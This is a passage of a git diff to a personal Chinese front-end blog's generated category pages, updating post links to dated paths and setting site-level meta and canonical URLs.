         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/四种常见的布局.html">四种常见的布局</a></p>
+        <p class="article-headline-p"><a href="/2017/06/28/四种常见的布局.html">四种常见的布局</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -508,7 +508,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/四种常见的布局.html" target="_self">阅读全文</a>
+            <a href="/2017/06/28/四种常见的布局.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
diff --git a/public/categories/IDE/index.html b/public/categories/IDE/index.html
index 58c09d1..2148c4b 100644
--- a/public/categories/IDE/index.html
+++ b/public/categories/IDE/index.html
@@ -214,7 +214,7 @@
     <!-- WebAPP Icons -->
     <meta name="mobile-web-app-capable" content="yes">
     <meta name="application-name" content="Jzxer&#39;s Blog">
-    <meta name="msapplication-starturl" content="/categories/IDE/">
+    <meta name="msapplication-starturl" content="blog.jzxer.cn/categories/IDE/">
     <meta name="msapplication-navbutton-color" content="#70c2cd">
     <meta name="apple-mobile-web-app-capable" content="yes">
     <meta name="apple-mobile-web-app-title" content="Jzxer&#39;s Blog">
@@ -229,7 +229,7 @@
     
 
     <!-- The Open Graph protocol -->
-    <meta property="og:url" content="/categories/IDE/">
+    <meta property="og:url" content="blog.jzxer.cn/categories/IDE/">
     <meta property="og:type" content="blog">
     <meta property="og:title" content="分类: IDE | Jzxer&#39;s Blog">
     <meta property="og:image" content="/img/favicon.png">
@@ -243,7 +243,7 @@
 
     <!-- Add canonical link for SEO -->
     
-        <link rel="canonical" href="/categories/IDE/index.html" />
+        <link rel="canonical" href="blog.jzxer.cn/categories/IDE/index.html" />
     
 
     <!-- Structured-data for SEO -->
@@ -313,7 +313,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
+        <p class="article-headline-p"><a href="/2018/03/19/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -323,7 +323,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
+            <a href="/2018/03/19/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -372,7 +372,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
+        <p class="article-headline-p"><a href="/2017/06/15/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -382,7 +382,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
+            <a href="/2017/06/15/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -437,7 +437,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/vscode-配置插件推荐.html">vscode 配置插件推荐</a></p>
+        <p class="article-headline-p"><a href="/2017/12/26/vscode-配置插件推荐.html">vscode 配置插件推荐</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -447,7 +447,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/vscode-配置插件推荐.html" target="_self">阅读全文</a>
+            <a href="/2017/12/26/vscode-配置插件推荐.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
diff --git a/public/categories/JS/index.html b/public/categories/JS/index.html
index f8ef102..94718f8 100644
--- a/public/categories/JS/index.html
+++ b/public/categories/JS/index.html
@@ -214,7 +214,7 @@
     <!-- WebAPP Icons -->
     <meta name="mobile-web-app-capable" content="yes">
     <meta name="application-name" content="Jzxer&#39;s Blog">
-    <meta name="msapplication-starturl" content="/categories/JS/">
+    <meta name="msapplication-starturl" content="blog.jzxer.cn/categories/JS/">
     <meta name="msapplication-navbutton-color" content="#70c2cd">
     <meta name="apple-mobile-web-app-capable" content="yes">
     <meta name="apple-mobile-web-app-title" content="Jzxer&#39;s Blog">
@@ -229,7 +229,7 @@
     
 
     <!-- The Open Graph protocol -->
-    <meta property="og:url" content="/categories/JS/">
+    <meta property="og:url" content="blog.jzxer.cn/categories/JS/">
     <meta property="og:type" content="blog">
     <meta property="og:title" content="分类: JS | Jzxer&#39;s Blog">
     <meta property="og:image" content="/img/favicon.png">
@@ -243,7 +243,7 @@
 
     <!-- Add canonical link for SEO -->
     
-        <link rel="canonical" href="/categories/JS/index.html" />
+        <link rel="canonical" href="blog.jzxer.cn/categories/JS/index.html" />
     
 
     <!-- Structured-data for SEO -->
@@ -313,7 +313,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
+        <p class="article-headline-p"><a href="/2018/03/19/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -323,7 +323,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
+            <a href="/2018/03/19/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -372,7 +372,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
+        <p class="article-headline-p"><a href="/2017/06/15/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -382,7 +382,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
+            <a href="/2017/06/15/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -437,7 +437,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/正则表达式.html">正则表达式</a></p>
+        <p class="article-headline-p"><a href="/2018/04/04/正则表达式.html">正则表达式</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -447,7 +447,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/正则表达式.html" target="_self">阅读全文</a>
+            <a href="/2018/04/04/正则表达式.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -498,7 +498,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/如何理解yield和-函数.html">如何理解yield和*函数</a></p>
+        <p class="article-headline-p"><a href="/2018/01/30/如何理解yield和-函数.html">如何理解yield和*函数</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -508,7 +508,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/如何理解yield和-函数.html" target="_self">阅读全文</a>
+            <a href="/2018/01/30/如何理解yield和-函数.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -559,7 +559,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/commonJS和AMD-CMD.html">commonJS和AMD/CMD</a></p>
+        <p class="article-headline-p"><a href="/2017/08/23/commonJS和AMD-CMD.html">commonJS和AMD/CMD</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -569,7 +569,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/commonJS和AMD-CMD.html" target="_self">阅读全文</a>
+            <a href="/2017/08/23/commonJS和AMD-CMD.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -620,7 +620,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/sync-和async.html">sync 和async</a></p>
+        <p class="article-headline-p"><a href="/2017/07/21/sync-和async.html">sync 和async</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -630,7 +630,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/sync-和async.html" target="_self">阅读全文</a>
+            <a href="/2017/07/21/sync-和async.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -681,7 +681,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/论轮播图的原理.html">解析卡片式轮播图</a></p>
+        <p class="article-headline-p"><a href="/2017/06/24/论轮播图的原理.html">解析卡片式轮播图</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -691,7 +691,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/论轮播图的原理.html" target="_self">阅读全文</a>
+            <a href="/2017/06/24/论轮播图的原理.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
diff --git a/public/categories/nodeJS/index.html b/public/categories/nodeJS/index.html
index f0fd3c8..f5d3f05 100644
--- a/public/categories/nodeJS/index.html
+++ b/public/categories/nodeJS/index.html
@@ -214,7 +214,7 @@
     <!-- WebAPP Icons -->
     <meta name="mobile-web-app-capable" content="yes">
     <meta name="application-name" content="Jzxer&#39;s Blog">
-    <meta name="msapplication-starturl" content="/categories/nodeJS/">
+    <meta name="msapplication-starturl" content="blog.jzxer.cn/categories/nodeJS/">
     <meta name="msapplication-navbutton-color" content="#70c2cd">
     <meta name="apple-mobile-web-app-capable" content="yes">
     <meta name="apple-mobile-web-app-title" content="Jzxer&#39;s Blog">
@@ -229,7 +229,7 @@
     
 
     <!-- The Open Graph protocol -->
-    <meta property="og:url" content="/categories/nodeJS/">
+    <meta property="og:url" content="blog.jzxer.cn/categories/nodeJS/">
     <meta property="og:type" content="blog">
     <meta property="og:title" content="分类: nodeJS | Jzxer&#39;s Blog">
     <meta property="og:image" content="/img/favicon.png">
@@ -243,7 +243,7 @@
 
     <!-- Add canonical link for SEO -->
     
-        <link rel="canonical" href="/categories/nodeJS/index.html" />
+        <link rel="canonical" href="blog.jzxer.cn/categories/nodeJS/index.html" />
     
 
     <!-- Structured-data for SEO -->
@@ -313,7 +313,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
+        <p class="article-headline-p"><a href="/2018/03/19/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -323,7 +323,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
+            <a href="/2018/03/19/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -372,7 +372,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
+        <p class="article-headline-p"><a href="/2017/06/15/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -382,7 +382,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
+            <a href="/2017/06/15/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -437,7 +437,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/线上部署：heroku.html">线上部署：heroku</a></p>
+        <p class="article-headline-p"><a href="/2018/04/26/线上部署：heroku.html">线上部署：heroku</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -447,7 +447,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/线上部署：heroku.html" target="_self">阅读全文</a>
+            <a href="/2018/04/26/线上部署：heroku.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -498,7 +498,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/nodeJS性能处理一.html">nodeJS性能处理（一）</a></p>
+        <p class="article-headline-p"><a href="/2018/04/25/nodeJS性能处理一.html">nodeJS性能处理（一）</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -508,7 +508,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/nodeJS性能处理一.html" target="_self">阅读全文</a>
+            <a href="/2018/04/25/nodeJS性能处理一.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -559,7 +559,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/learn-express.html">learn express</a></p>
+        <p class="article-headline-p"><a href="/2017/12/20/learn-express.html">learn express</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -569,7 +569,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/learn-express.html" target="_self">阅读全文</a>
+            <a href="/2017/12/20/learn-express.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -620,7 +620,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/learn-koa.html">learn-koa</a></p>
+        <p class="article-headline-p"><a href="/2017/09/06/learn-koa.html">learn-koa</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -630,7 +630,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/learn-koa.html" target="_self">阅读全文</a>
+            <a href="/2017/09/06/learn-koa.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
diff --git a/public/categories/storage/index.html b/public/categories/storage/index.html
index 729398a..46474be 100644
--- a/public/categories/storage/index.html
+++ b/public/categories/storage/index.html
@@ -214,7 +214,7 @@
     <!-- WebAPP Icons -->
     <meta name="mobile-web-app-capable" content="yes">
     <meta name="application-name" content="Jzxer&#39;s Blog">
-    <meta name="msapplication-starturl" content="/categories/storage/">
+    <meta name="msapplication-starturl" content="blog.jzxer.cn/categories/storage/">
     <meta name="msapplication-navbutton-color" content="#70c2cd">
     <meta name="apple-mobile-web-app-capable" content="yes">
     <meta name="apple-mobile-web-app-title" content="Jzxer&#39;s Blog">
@@ -229,7 +229,7 @@
     
 
     <!-- The Open Graph protocol -->
-    <meta property="og:url" content="/categories/storage/">
+    <meta property="og:url" content="blog.jzxer.cn/categories/storage/">
     <meta property="og:type" content="blog">
     <meta property="og:title" content="分类: storage | Jzxer&#39;s Blog">
     <meta property="og:image" content="/img/favicon.png">
@@ -243,7 +243,7 @@
 
     <!-- Add canonical link for SEO -->
     
-        <link rel="canonical" href="/categories/storage/index.html" />
+        <link rel="canonical" href="blog.jzxer.cn/categories/storage/index.html" />
     
 
     <!-- Structured-data for SEO -->
@@ -313,7 +313,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
+        <p class="article-headline-p"><a href="/2018/03/19/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -323,7 +323,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
+            <a href="/2018/03/19/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -372,7 +372,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
+        <p class="article-headline-p"><a href="/2017/06/15/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -382,7 +382,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
+            <a href="/2017/06/15/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -437,7 +437,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/sessionStorage-localStotage-AND-cookies.html">sessionStorage localStotage AND cookies</a></p>
+        <p class="article-headline-p"><a href="/2017/08/16/sessionStorage-localStotage-AND-cookies.html">sessionStorage localStotage AND cookies</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -447,7 +447,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/sessionStorage-localStotage-AND-cookies.html" target="_self">阅读全文</a>
+            <a href="/2017/08/16/sessionStorage-localStotage-AND-cookies.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
diff --git a/public/categories/vue/index.html b/public/categories/vue/index.html
index d8c1d2d..c3e2fa9 100644
--- a/public/categories/vue/index.html
+++ b/public/categories/vue/index.html
@@ -214,7 +214,7 @@
     <!-- WebAPP Icons -->
     <meta name="mobile-web-app-capable" content="yes">
     <meta name="application-name" content="Jzxer&#39;s Blog">
-    <meta name="msapplication-starturl" content="/categories/vue/">
+    <meta name="msapplication-starturl" content="blog.jzxer.cn/categories/vue/">
     <meta name="msapplication-navbutton-color" content="#70c2cd">
     <meta name="apple-mobile-web-app-capable" content="yes">
     <meta name="apple-mobile-web-app-title" content="Jzxer&#39;s Blog">
@@ -229,7 +229,7 @@
     
 
     <!-- The Open Graph protocol -->
-    <meta property="og:url" content="/categories/vue/">
+    <meta property="og:url" content="blog.jzxer.cn/categories/vue/">
     <meta property="og:type" content="blog">
     <meta property="og:title" content="分类: vue | Jzxer&#39;s Blog">
     <meta property="og:image" content="/img/favicon.png">
@@ -243,7 +243,7 @@
 
     <!-- Add canonical link for SEO -->
     
-        <link rel="canonical" href="/categories/vue/index.html" />
+        <link rel="canonical" href="blog.jzxer.cn/categories/vue/index.html" />
     
 
     <!-- Structured-data for SEO -->
@@ -313,7 +313,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
+        <p class="article-headline-p"><a href="/2018/03/19/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -323,7 +323,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
+            <a href="/2018/03/19/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -372,7 +372,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
+        <p class="article-headline-p"><a href="/2017/06/15/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -382,7 +382,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
+            <a href="/2017/06/15/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -437,7 +437,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/vue学习笔记（一）.html">vue学习笔记（一）</a></p>
+        <p class="article-headline-p"><a href="/2017/06/18/vue学习笔记（一）.html">vue学习笔记（一）</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -447,7 +447,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/vue学习笔记（一）.html" target="_self">阅读全文</a>
+            <a href="/2017/06/18/vue学习笔记（一）.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -498,7 +498,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/vuex-模块介绍.html">vuex 使用技巧</a></p>
+        <p class="article-headline-p"><a href="/2017/06/15/vuex-模块介绍.html">vuex 使用技巧</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -508,7 +508,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/vuex-模块介绍.html" target="_self">阅读全文</a>
+            <a href="/2017/06/15/vuex-模块介绍.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
diff --git a/public/categories/web前端/index.html b/public/categories/web前端/index.html
index bade8ce..41eba60 100644
--- a/public/categories/web前端/index.html
+++ b/public/categories/web前端/index.html
@@ -214,7 +214,7 @@
     <!-- WebAPP Icons -->
     <meta name="mobile-web-app-capable" content="yes">
     <meta name="application-name" content="Jzxer&#39;s Blog">
-    <meta name="msapplication-starturl" content="/categories/web前端/">
+    <meta name="msapplication-starturl" content="blog.jzxer.cn/categories/web前端/">
     <meta name="msapplication-navbutton-color" content="#70c2cd">
     <meta name="apple-mobile-web-app-capable" content="yes">
     <meta name="apple-mobile-web-app-title" content="Jzxer&#39;s Blog">
@@ -229,7 +229,7 @@
     
 
     <!-- The Open Graph protocol -->
-    <meta property="og:url" content="/categories/web前端/">
+    <meta property="og:url" content="blog.jzxer.cn/categories/web前端/">
     <meta property="og:type" content="blog">
     <meta property="og:title" content="分类: web前端 | Jzxer&#39;s Blog">
     <meta property="og:image" content="/img/favicon.png">
@@ -243,7 +243,7 @@
 
     <!-- Add canonical link for SEO -->
     
-        <link rel="canonical" href="/categories/web前端/index.html" />
+        <link rel="canonical" href="blog.jzxer.cn/categories/web前端/index.html" />
     
 
     <!-- Structured-data for SEO -->
@@ -313,7 +313,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
+        <p class="article-headline-p"><a href="/2018/03/19/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -323,7 +323,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
+            <a href="/2018/03/19/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -372,7 +372,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
+        <p class="article-headline-p"><a href="/2017/06/15/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -382,7 +382,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
+            <a href="/2017/06/15/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -437,7 +437,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/js常见的九种设计模式.html">js常见的九种设计模式</a></p>
+        <p class="article-headline-p"><a href="/2018/03/09/js常见的九种设计模式.html">js常见的九种设计模式</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -447,7 +447,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/js常见的九种设计模式.html" target="_self">阅读全文</a>
+            <a href="/2018/03/09/js常见的九种设计模式.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -498,7 +498,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/JS常见的十大错误.html">JS常见的十大错误</a></p>
+        <p class="article-headline-p"><a href="/2018/02/07/JS常见的十大错误.html">JS常见的十大错误</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -508,7 +508,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/JS常见的十大错误.html" target="_self">阅读全文</a>
+            <a href="/2018/02/07/JS常见的十大错误.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -559,7 +559,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/用vue撸一个二手商城.html">用vue撸一个二手商城</a></p>
+        <p class="article-headline-p"><a href="/2018/01/22/用vue撸一个二手商城.html">用vue撸一个二手商城</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -569,7 +569,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/用vue撸一个二手商城.html" target="_self">阅读全文</a>
+            <a href="/2018/01/22/用vue撸一个二手商城.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -620,7 +620,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/PWA初窥.html">PWA初窥</a></p>
+        <p class="article-headline-p"><a href="/2018/01/20/PWA初窥.html">PWA初窥</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -630,7 +630,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/PWA初窥.html" target="_self">阅读全文</a>
+            <a href="/2018/01/20/PWA初窥.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -681,7 +681,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/我个人的coding风格.html">我个人的coding风格</a></p>
+        <p class="article-headline-p"><a href="/2017/11/26/我个人的coding风格.html">我个人的coding风格</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -691,7 +691,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/我个人的coding风格.html" target="_self">阅读全文</a>
+            <a href="/2017/11/26/我个人的coding风格.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -742,7 +742,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/常见的兼容性问题.html">常见的兼容性问题</a></p>
+        <p class="article-headline-p"><a href="/2017/10/22/常见的兼容性问题.html">常见的兼容性问题</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -752,7 +752,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/常见的兼容性问题.html" target="_self">阅读全文</a>
+            <a href="/2017/10/22/常见的兼容性问题.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -803,7 +803,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/js中的一些方法和函数.html">js中的一些方法和函数</a></p>
+        <p class="article-headline-p"><a href="/2017/10/22/js中的一些方法和函数.html">js中的一些方法和函数</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -813,7 +813,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/js中的一些方法和函数.html" target="_self">阅读全文</a>
+            <a href="/2017/10/22/js中的一些方法和函数.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -864,7 +864,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/前端面试题.html">前端面试题</a></p>
+        <p class="article-headline-p"><a href="/2017/09/18/前端面试题.html">前端面试题</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -874,7 +874,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/前端面试题.html" target="_self">阅读全文</a>
+            <a href="/2017/09/18/前端面试题.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -925,7 +925,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/前端面试准备.html">前端面试准备</a></p>
+        <p class="article-headline-p"><a href="/2017/08/27/前端面试准备.html">前端面试准备</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -935,7 +935,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/前端面试准备.html" target="_self">阅读全文</a>
+            <a href="/2017/08/27/前端面试准备.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -986,7 +986,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/前端的职业路线.html">前端的职业路线</a></p>
+        <p class="article-headline-p"><a href="/2017/03/19/前端的职业路线.html">前端的职业路线</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -996,7 +996,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/前端的职业路线.html" target="_self">阅读全文</a>
+            <a href="/2017/03/19/前端的职业路线.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
diff --git a/public/categories/web项目/index.html b/public/categories/web项目/index.html
index a215d14..4c0e18f 100644
--- a/public/categories/web项目/index.html
+++ b/public/categories/web项目/index.html
@@ -214,7 +214,7 @@
     <!-- WebAPP Icons -->
     <meta name="mobile-web-app-capable" content="yes">
     <meta name="application-name" content="Jzxer&#39;s Blog">
-    <meta name="msapplication-starturl" content="/categories/web项目/">
+    <meta name="msapplication-starturl" content="blog.jzxer.cn/categories/web项目/">
     <meta name="msapplication-navbutton-color" content="#70c2cd">
     <meta name="apple-mobile-web-app-capable" content="yes">
     <meta name="apple-mobile-web-app-title" content="Jzxer&#39;s Blog">
@@ -229,7 +229,7 @@
     
 
     <!-- The Open Graph protocol -->
-    <meta property="og:url" content="/categories/web项目/">
+    <meta property="og:url" content="blog.jzxer.cn/categories/web项目/">
     <meta property="og:type" content="blog">
     <meta property="og:title" content="分类: web项目 | Jzxer&#39;s Blog">
